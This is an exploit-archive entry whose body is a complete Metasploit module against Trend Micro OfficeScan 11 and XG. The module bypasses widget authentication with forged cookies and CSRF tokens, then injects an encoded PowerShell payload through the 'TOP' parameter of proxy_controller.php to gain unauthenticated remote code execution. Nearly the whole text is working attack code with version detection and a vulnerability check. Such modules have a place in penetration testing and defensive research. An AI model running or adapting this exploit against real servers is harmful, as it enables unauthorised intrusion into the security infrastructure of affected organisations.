Trend Micro OfficeScan Remote Code Execution

2017.10.11
Credit: mr_me
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info={}) super(update_info(info, 'Name' => "Trend Micro OfficeScan Remote Code Execution", 'Description' => %q{ This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a terminal command under the context of the web server user. The specific flaw exists within the management interface, which listens on TCP port 443 by default. The Trend Micro Officescan product has a widget feature which is implemented with PHP. Talker.php takes ack and hash parameters but doesn't validate these values, which leads to an authentication bypass for the widget. Proxy.php files under the mod TMCSS folder take multiple parameters but the process does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the web server user. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me <mr_me@offensive-security.com>', # author of command injection 'Mehmet Ince <mehmet@mehmetince.net>' # author of authentication bypass & msf module ], 'References' => [ ['URL', 'https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-17-521/'], ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => ['win'], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ ['Automatic Targeting', { 'auto' => true }], ['OfficeScan 11', {}], ['OfficeScan XG', {}], ], 'Privileged' => false, 'DisclosureDate' => "Oct 7 2017", 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the Trend Micro OfficeScan management interface', '/']) ] ) end def build_csrftoken(my_target, phpsessid=nil) vprint_status("Building csrftoken") if my_target.name == 'OfficeScan XG' csrf_token = Rex::Text.md5(Time.now.to_s) else csrf_token = phpsessid.scan(/PHPSESSID=([a-zA-Z0-9]+)/).flatten[0] end csrf_token end def auto_target #XG version of the widget library has package.json within the same directory. mytarget = target if target['auto'] && target.name =~ /Automatic/ print_status('Automatic targeting enabled. Trying to detect version.') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'package.json'), }) if res && res.code == 200 mytarget = targets[2] elsif res && res.code == 404 mytarget = targets[1] else fail_with(Failure::Unknown, 'Unable to automatically select a target') end print_status("Selected target system : #{mytarget.name}") end mytarget end def auth(my_target) # Version XG performs MD5 validation on wf_CSRF_token parameter. We can't simply use PHPSESSID directly because it contains a-zA-Z0-9. # Beside that, version 11 use PHPSESSID value as a csrf token. Thus, we are manually crafting the cookie. if my_target.name == 'OfficeScan XG' csrf_token = build_csrftoken(my_target) cookie = "LANG=en_US; LogonUser=root; userID=1; wf_CSRF_token=#{csrf_token}" # Version 11 want to see valid PHPSESSID from beginning to the end. For this reason we need to force backend to initiate one for us. else vprint_status("Sending session initiation request for : #{my_target.name}.") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'index.php'), }) cookie = "LANG=en_US; LogonUser=root; userID=1; #{res.get_cookies}" csrf_token = build_csrftoken(my_target, res.get_cookies) end # Okay, we dynamically generated a cookie and csrf_token values depends on OfficeScan version. # Now we need to exploit authentication bypass vulnerability. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'ui', 'modLogin', 'talker.php'), 'headers' => { 'X-CSRFToken' => csrf_token, 'ctype' => 'application/x-www-form-urlencoded; charset=utf-8' }, 'cookie' => cookie, 'vars_post' => { 'cid' => '1', 'act' => 'check', 'hash' => Rex::Text.rand_text_alpha(10), 'pid' => '1' } }) if res && res.code == 200 && res.body.include?('login successfully') # Another business logic in here. # Version 11 want to use same PHPSESSID generated at the beginning by hitting index.php # Version XG want to use newly created PHPSESSID that comes from auth bypass response. if my_target.name == 'OfficeScan XG' res.get_cookies else cookie end else nil end end def check my_target = auto_target token = auth(my_target) # If we dont have a cookie that means authentication bypass issue has been patched on target system. if token.nil? Exploit::CheckCode::Safe else # Authentication bypass does not mean that we have a command injection. # Accessing to the widget framework without having command injection means literally nothing. # So we gonna trigger command injection vulnerability without a payload. csrf_token = build_csrftoken(my_target, token) vprint_status('Trying to detect command injection vulnerability') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'proxy_controller.php'), 'headers' => { 'X-CSRFToken' => csrf_token, 'ctype' => 'application/x-www-form-urlencoded; charset=utf-8' }, 'cookie' => "LANG=en_US; LogonUser=root; wf_CSRF_token=#{csrf_token}; #{token}", 'vars_post' => { 'module' => 'modTMCSS', 'serverid' => '1', 'TOP' => '' } }) if res && res.code == 200 && res.body.include?('Proxy execution failed: exec report.php failed') Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end end def exploit mytarget = auto_target print_status('Exploiting authentication bypass') cookie = auth(mytarget) if cookie.nil? fail_with(Failure::NotVulnerable, "Target is not vulnerable.") else print_good("Authenticated successfully bypassed.") end print_status('Generating payload') powershell_options = { encode_final_payload: true, remove_comspec: true } p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options) # We need to craft csrf value for version 11 again like we did before at auth function. csrf_token = build_csrftoken(mytarget, cookie) print_status('Trigerring command injection vulnerability') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'proxy_controller.php'), 'headers' => { 'X-CSRFToken' => csrf_token, 'ctype' => 'application/x-www-form-urlencoded; charset=utf-8' }, 'cookie' => "LANG=en_US; LogonUser=root; wf_CSRF_token=#{csrf_token}; #{cookie}", 'vars_post' => { 'module' => 'modTMCSS', 'serverid' => '1', 'TOP' => "2>&1||#{p}" } }) end end


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